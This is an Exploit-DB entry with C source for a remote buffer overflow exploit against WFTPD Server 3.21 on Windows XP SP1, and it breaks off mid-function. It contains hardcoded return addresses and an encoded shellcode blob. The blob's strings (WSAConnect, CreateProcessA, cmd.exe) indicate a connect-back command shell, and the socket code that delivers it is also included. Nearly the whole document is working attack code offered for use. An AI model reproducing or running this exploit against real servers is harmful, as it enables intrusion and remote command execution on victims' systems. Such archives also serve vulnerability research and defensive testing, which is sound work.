Exploit-DB #159
Description: WFTPD Server 3.21 - Remote Buffer Overflow
Type: remote
Platform: windows
Date: 2004-02-29
Author: rdxaxl

Exploit:
/*
* WFTPD buffer overflow exploit, (c) axl 2004, rdxaxl@hotmail.com
* Discovered by the very same guy :p
*
* Tested WFTPD versions:
*
* - WFTPD Pro Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Pro Server 3.20 Release 2 (trial)
* - WFTPD Server 3.21 Release 1 (trial) (latest version)
* - WFTPD Server 3.10 Release 1 (trial)
*
* Tested exploit with these remote operating systems:
*
* - Windows XP Pro, SP1
*
* Should be very easy to support other Windows OSes. You may only have
* to update ret_addr.
*/

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#include <windows.h>
#include <stdio.h>

#define MAXLINE 0x1000

//#define OLDCODE // Try not to uncomment this...

#ifdef OLDCODE
static char* ret_addr = "\xAC\x9C\xEC\x77"; 
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#else
/* See the comment in exploit() for the reasons I chose this address */
static char* ret_addr = "\x5B\xC0\xEB\x77"; 
// kernel32.dll 5.1.2600.1106, (WinXP Pro SP1, EN) => pop reg / pop reg / ret
#endif

const unsigned int shlc_offs_enckey = 0x00000025;
const unsigned int shlc_offs_encstart = 0x0000002B;
const unsigned int shlc_offs_encend = 0x000001B8;
unsigned char shlc_code[] =
"\xEB\x16\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56\x34\x12\x78\x56"
"\x34\x12\x5B\x53\x83\xEB\x1D\xC3\xE8\xF5\xFF\xFF\xFF\x33\xC9\xB1"
"\x64\x81\x74\x8B\x27\x55\x55\x55\x55\xE2\xF6\xFC\x8B\x43\x0A\x31"
"\x43\x02\x8B\x43\x0E\x31\x43\x06\x89\x4B\x0A\x89\x4B\x0E\x64\x8B"
"\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76\x1C\xAD\x8B\x68\x08\x8D"
"\x83\x67\x01\x00\x00\x55\xE8\xB7\x00\x00\x00\x68\x33\x32\x00\x00"
"\x68\x77\x73\x32\x5F\x54\xFF\xD0\x96\x8D\x83\x74\x01\x00\x00\x56"
"\xE8\x9D\x00\x00\x00\x81\xEC\x90\x01\x00\x00\x54\x68\x01\x01\x00"
"\x00\xFF\xD0\x8D\x83\x7F\x01\x00\x00\x56\xE8\x83\x00\x00\x00\x33"
"\xC9\x51\x51\x51\x6A\x06\x6A\x01\x6A\x02\xFF\xD0\x97\x8D\x83\x8A"
"\x01\x00\x00\x56\xE8\x69\x00\x00\x00\x33\xC9\x51\x51\x51\x51\x6A"
"\x10\x8D\x4B\x02\x51\x57\xFF\xD0\xB9\x54\x00\x00\x00\x2B\xE1\x88"
"\x6C\x0C\xFF\xE2\xFA\xC6\x44\x24\x10\x44\x41\x88\x4C\x24\x3C\x88"
"\x4C\x24\x3D\x89\x7C\x24\x48\x89\x7C\x24\x4C\x89\x7C\x24\x50\x49"
"\x8D\x44\x24\x10\x54\x50\x51\x51\x51\x6A\x01\x51\x51\x8D\x83\xA4"
"\x01\x00\x00\x50\x51\x8D\x83\x95\x01\x00\x00\x55\xE8\x11\x00\x00"
"\x00\x59\xFF\xD0\x8D\x83\xAC\x01\x00\x00\x55\xE8\x02\x00\x00\x00"
"\xFF\xD0\x60\x8B\x7C\x24\x24\x8D\x6F\x78\x03\x6F\x3C\x8B\x6D\x00"
"\x03\xEF\x83\xC9\xFF\x41\x3B\x4D\x18\x72\x0B\x64\x89\x0D\x00\x00"
"\x00\x00\x8B\xE1\xFF\xE4\x8B\x5D\x20\x03\xDF\x8B\x1C\x8B\x03\xDF"
"\x8B\x74\x24\x1C\xAC\x38\x03\x75\xDC\x43\x84\xC0\x75\xF6\x8B\x5D"
"\x24\x03\xDF\x0F\xB7\x0C\x4B\x8B\x5D\x1C\x03\xDF\x8B\x0C\x8B\x03"
"\xCF\x89\x4C\x24\x1C\x61\xC3\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61"
"\x72\x79\x41\x00\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\x00\x57"
"\x53\x41\x53\x6F\x63\x6B\x65\x74\x41\x00\x57\x53\x41\x43\x6F\x6E"
"\x6E\x65\x63\x74\x00\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63\x65"
"\x73\x73\x41\x00\x63\x6D\x64\x2E\x65\x78\x65\x00\x45\x78\x69\x74"
"\x50\x72\x6F\x63\x65\x73\x73\x00";

static char inbuf[MAXLINE];
static unsigned inoffs = 0;

const WFTPD_PRO_321_TRIAL = 0; // WFTPD Pro Server 3.21 Release 1 (trial)
const WFTPD_PRO_320_TRIAL = 1; // WFTPD Pro Server 3.20 Release 2 (trial)
const WFTPD_321_TRIAL = 2; // WFTPD Server 3.21 Release 1 (trial)
const WFTPD_310_TRIAL = 3; // WFTPD Server 3.10 Release 1 (trial)
int ftpver = WFTPD_PRO_321_TRIAL;

int isrd(SOCKET s)
{
fd_set r;
FD_ZERO(&r);
FD_SET(s, &r);
timeval t = {0, 0};
int ret = select(1, &r, NULL, NULL, &t);
if (ret < 0)
return 0;
else
return ret != 0;
}

int get_line(SOCKET s, char* string, unsigned len)
{
char* nl;
while ((nl = (char*)memchr(inbuf, '\n', inoffs)) == NULL)
{
if (inoffs >= sizeof(inbuf))
{
printf("[-] Too long line\n");
return 0;
}
int len = recv(s, &inbuf[inoffs], sizeof(inbuf) - inoffs, 0);
if (len <= 0)
{
printf("[-] Error receiving data\n");
return 0;
}

inoffs += len;
}

unsigned nlidx = (unsigned)(ULONG_PTR)(nl - inbuf);
if (nlidx >= len)
{
printf("[-] Too small caller buffer\n");
return 0;
}
memcpy(string, inbuf, nlidx);
string[nlidx] = 0;
if (nlidx > 0 && string[nlidx-1] == '\r')
string[nlidx-1] = 0;

if (nlidx + 1 >= inoffs)
inoffs = 0;
else
{
memcpy(inbuf, &inbuf[nlidx+1], inoffs - (nlidx + 1));
inoffs -= nlidx + 1;
}

return 1;
}

int ignorerd(SOCKET s)
{
inoffs = 0;

while (1)
{
if (!isrd(s))
return 1;
if (recv(s, inbuf, sizeof(inbuf), 0) < 0)
return 0;
}
}

int get_reply_code(SOCKET s)
{
char line[MAXLINE];

if (!get_line(s, line, sizeof(line)))
{
printf("[-] Could not get status code\n");
return -1;
}

char c = line[3];
line[3] = 0;
int code;
if (!(c == ' ' || c == '-') || strlen(line) != 3 || !(code = atoi(line)))
{
printf("[-] Weird reply\n");
return -1;
}

char endline[4];
memcpy(endline, line, 3);
endline[3] = ' ';
if (c == '-')
{
while (1)
{
if (!get_line(s, line, sizeof(line)))
{
printf("[-] Could not get next line\n");
return -1;
}
if (!memcmp(line, endline, sizeof(endline)))
break;
}
}

return code;
}

int sendb(SOCKET s, const char* buf, int len, int flags)
{
while (len)
{
int l = send(s, buf, len, flags);
if (l <= 0)
break;
len -= l;
buf += l;
}

return len == 0;
}

int sends(SOCKET s, const char* buf, int flags)
{
return sendb(s, buf, (int)strlen(buf), flags);
}

int is_valid_char(char c)
{
return c != 0 && c != '\n' && c != ' ';
}

int add_bytes(void* dst, int& dstoffs, int dstlen, const void* src, int srclen)
{
if (dstoffs + srclen > dstlen || dstoffs + srclen < dstoffs)
{
printf("[-] Buffer overflow ;)\n");
return 0;
}

memcpy((char*)dst+dstoffs, src, srclen);
dstoffs += srclen;
return 1;
}

int check_invd_bytes(const char* name, const void* buf, int buflen)
{
const char* b = (const char*)buf;

for (int i = 0; i < buflen; i++)
{
if (!is